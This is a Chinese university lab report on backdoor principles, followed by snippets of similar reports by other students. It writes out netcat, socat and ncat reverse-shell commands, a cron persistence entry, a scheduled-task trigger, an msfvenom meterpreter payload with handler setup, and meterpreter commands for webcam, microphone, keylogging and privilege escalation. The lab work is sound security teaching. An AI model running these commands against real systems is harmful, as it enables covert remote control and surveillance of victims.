20154322 杨钦涵 Exp2 后门原理与实践

Exp2 后门原理与实践Exp2 后门原理与实践

一、基础问题回答

1、例举你能想到的一个后门进入到你系统中的可能方式?

从网上下载软件时,可能会下载到其它附带捆绑软件,而这些软件可能就有后门程序。在安装时,便一起安装了。

2、例举你知道的后门如何启动起来(win及linux)的方式?

①自己不小心点击运行了后门程序;

②篡改了注册表,将其设为开机自动运行;

③被控端被设置了cron启动,定时循环启动;

3、Meterpreter有哪些给你映像深刻的功能?

必须是截取摄像头!像是随时有双背后的眼睛盯着你,真·瑟瑟发抖~

4、如何发现自己有系统有没有被安装后门?

低级一点的后门程序杀毒软件就可以查杀,像这次的利用ncat或socat传送到主机并运行获取主机Shell实验,必须要先关掉杀毒软件和防火墙;

另外可通过找到对应进程,对相应进程进行抓包,看他通信的数据,分析是不是后门。

二、常用后门工具实践

  • Windows获得Linux Shell

1.Windows:先使用ipconfig指令查看本机IP:172.30.1.20

2.使用ncat.exe程序监听本机的4322端口(需要提前下好并安装ncat)

3.Kali:使用nc指令的-e选项反向连接Windows主机的4322端口nc 172.30.1.20 4322 -e /bin/sh

4.Windows:获得一个Kali的shell,运行ls指令如下

  • Linux获得Windows Shell

1.与第一个类似,这次是在Kali环境下使用ifconfig查看IP192.168.198.128

2.Kali:使用nc进行监听4322端口 nc -l -p 4322

3.Windows:使用ncat.exe程序的-e选项项反向连接Kali主机的4322端口 ncat.exe -e cmd.exe 192.168.198.128 4322

4.Kail:可看到在Windows上的命令提示,输入Windows指令

  • 使用nc传输数据

1.Windows:监听4322端口

2.Kail:连接到4322端口 nc 172.30.1.20 4322

3.两者建立连接后,可进行通信

三、实验内容

①使用netcat获取主机操作Shell,cron启动

1.Windows系统下,监听4322端口

2.Kali环境下,使用man crontab指令查看crontab命令的帮助文档,crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

3.用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器即可

4.最后一行添加33 * * * * /bin/netcat 172.30.1.20 4322 -e /bin/sh,意思是在每个小时的第33分钟反向连接Windows主机的4322端口,就会启动cron。设置成33的原因是我当时的时间是21:31,为了能立马看到效果,所以我将时间设置在了2分钟以后 (进入vim编辑器,按i可插入文字)

5.当时间到了21:33时,此时已经获得了Kali的shell,可以在Windows里输入指令,会立马显示出来

②使用socat获取主机操作Shell, 任务计划启动

1.在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建触发器,选择开始任务时间为:工作站锁定时

2.新建操作,选择启动的程序为socat.exe,参数填为tcp-listen:4322 exec:cmd.exe,pty,stderr,这一操作的含义是把cmd.exe绑定到端口号,同时把cmd.exe的stderr重定向到stdout上(需要提前下载好socat)

3.创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行

4.在Kali环境下输入指令socat - tcp:172.30.1.20:4322,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4322端口,此时可以发现已经成功获得了一个cmd shell

③使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4322 -f exe > 20154322.exe生成后门程序

LHOST地址为**Kail**的地址,生成文件后,会有文件大小的相关说明。

2。通过nc指令将生成的后门程序传送到Windows主机上,输入后需要在Linux上输入指令(在做这一步需提前关闭本机的杀毒软件和防火墙)

这一步得有先后顺序,即先有发方,后可提示收方接收消息
Windows:ncat.exe -lv 4322 > 20154322_backdoor.exe
Kail:ncat -nv 172.30.1.20 4322 < 20154322_backdoor.exe //此地址为Windows的IP地址

3.在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置LPORT、LHOST军与生成可执行文件相同,设置payload、执行exploit

msfconsole //进入msf
use exploit/multi/handler //进入handler模式
set payload windows/meterpreter/reverse_tc //设置payload
show options //查看当前信息状态
set LHOST 192.168.198.128 //设置LHOST
set LPORT 4322 //设置LPORT
![](https://images2018.cnblogs.com/blog/1344739/201803/1344739-20180329193021220-1752627376.png)
//MSF开始监听

4.打开Windows上的后门程序

C:\ncat>20154322_backdoor.exe

5.此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

④使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.在上一个试验的基础上,使用record_mic指令可以截获一段音频

2.使用webcam_snap指令使用摄像头进行拍照

3.使用webcam stream指令使用摄像头进行录像

4.使用screenshot指令进行截屏

5.使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键的记录

6.先使用getuid指令查看当前用户,使用getsystem指令进行提权

四、实验心得体会

     这次实验实在有趣,虽然上课没太明白在讲什么,但是课下根据实践指导和其他同学的实验报告自己一步一步做出来还是收获满满。这次实验同时也让我感觉电脑其实脆弱得不堪一击。仅仅知道了对方的IP地址,敲了几行代码,就可以随意截取到照片、音频......我不禁想到了最最最喜欢的乔治奥威尔的《1984》里的电屏(telescreen),虽然没有“Big brother is watching you ”这么恐怖,但如果生活中是这样,那真是让人不寒而栗。所以在生活中,我们得小心小心再小心!

原文地址:https://www.cnblogs.com/yqh0524/p/8661930.html

时间: 2024-11-04 04:35:29

20154322 杨钦涵 Exp2 后门原理与实践的相关文章

20145331魏澍琛《网络对抗》Exp2 后门原理与实践

20145331魏澍琛<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 上网时候弹出一个广告说你中奖了,或者你可以贷款10万元之类的,你一激动一点进去后门就进入你的系统了. (2)例举你知道的后门如何启动起来(win及linux)的方式? 比如下载一个游戏,下下来你会发现除了游戏快捷方式还有什么游戏大厅.游戏加速,或者什么最新的网页游戏(传奇狂暴版),你一好奇一点进去后门就启动了. (3)Meterpreter有哪些给你映像深刻的功能?

20145317彭垚《网络对抗》Exp2 后门原理与实践

20145317彭垚<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中: 例举你知道的后门如何启动起来(win及linux)的方式? Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的: 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动: Linux下可以通过cron来启动. Meterpreter有哪些给你映像深刻的

Exp2 后门原理与实践(未完待续)

Exp2 后门原理与实践 实验环境 攻击机 kali 4.14(64位) (IP: 10.0.2.6/24) 靶机 ubuntu 16.04(32位) (IP: 10.0.2.4/24) windows 7 sp1(64位) (IP: 10.0.2.7/24) nc/ncat的使用 nc(全称是netcat)是一个用于TCP/UDP连接和监听的linux工具,有着网络工具中的"瑞士军刀"的美誉.nc的实现版本大致有两种,一种是带有-e或-c 选项可以直接给出执行命令,另一种不支持-e选

20155321 《网络攻防》 Exp2 后门原理与实践

20155321 <网络攻防> Exp2 后门原理与实践 实验内容 例举你能想到的一个后门进入到你系统中的可能方式? 我觉得人们在平时上网的时候可能会无意识地点击到一些恶意的网站,这些网站本身可能被黑客植入了木马程序,这些程序可能会随着人们下载到本地而有机会进入到系统中. 例举你知道的后门如何启动起来(win及linux)的方式? 我所知道的是可能是黑客通过远程控制的办法是输入命令使后门程序启动起来. Meterpreter有哪些给你映像深刻的功能? 让我印象比较深刻的是可以通过后门控制摄像头

20155312 张竞予 Exp2 后门原理与实践

Exp2 后门原理与实践 目录 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? (2)例举你知道的后门如何启动起来(win及linux)的方式? (3)Meterpreter有哪些给你映像深刻的功能? (4)如何发现自己有系统有没有被安装后门? 实验总结与体会 实践过程记录 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, 任务计划启动 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到

20155338《网络对抗》Exp2 后门原理与实践

20155338<网络对抗>Exp2 后门原理与实践 一. 基础问题 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:游览网站中附带的广告或弹出的不正规软件. (2)例举你知道的后门如何启动起来(win及linux)的方式? 答:1.操作系统自带服务: 2.网络协议捆绑: 3.软件编写者制作: 4.漏洞攻击后放置: (3)Meterpreter有哪些给你映像深刻的功能 答:录屏,提升权限和录音. (4)如何发现自己有系统有没有被安装后门 答:用网络命令来看计算机所连接的设备有没有陌

2018-2019-2 20165212《网络对抗技术》Exp2 后门原理与实践

2018-2019-2 20165212<网络对抗技术>Exp2 后门原理与实践 1.实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell (4)使用MSF meterpreter(或其他软件)生成获取目标主机音频.摄像头.击键记录等内容,并尝试提权 (5)可选加分内容:使用MSF生成she

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践

2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践 后门的基本概念及实验内容 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Meterpreter 实验内容 任务一:使用netcat获取主机操作Shell,cron启动 任务二:使用socat获取主机操作Shell, 任务计划启动 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell 任务四

Exp2 后门原理与实践 毛瀚逸 20164318

Exp2 后门原理与实践 20164318 毛瀚逸 一.实验内容 基础问题回答: 1.例举你能想到的一个后门进入到你系统中的可能方式? 答:下载奇怪的文件并运行,通过操作系统的漏洞来获取电脑的高级权限. 2.例举你知道的后门如何启动起来(win及linux)的方式? 答:设置定时运行,在设定的时间自动启动. 3.Meterpreter有哪些给你映像深刻的功能? 答:拍照,如果别人入侵了我的电脑,是不是可以随时窥探我在做什么呢. 4.如何发现自己有系统有没有被安装后门? 答:各种杀软都应该可以应付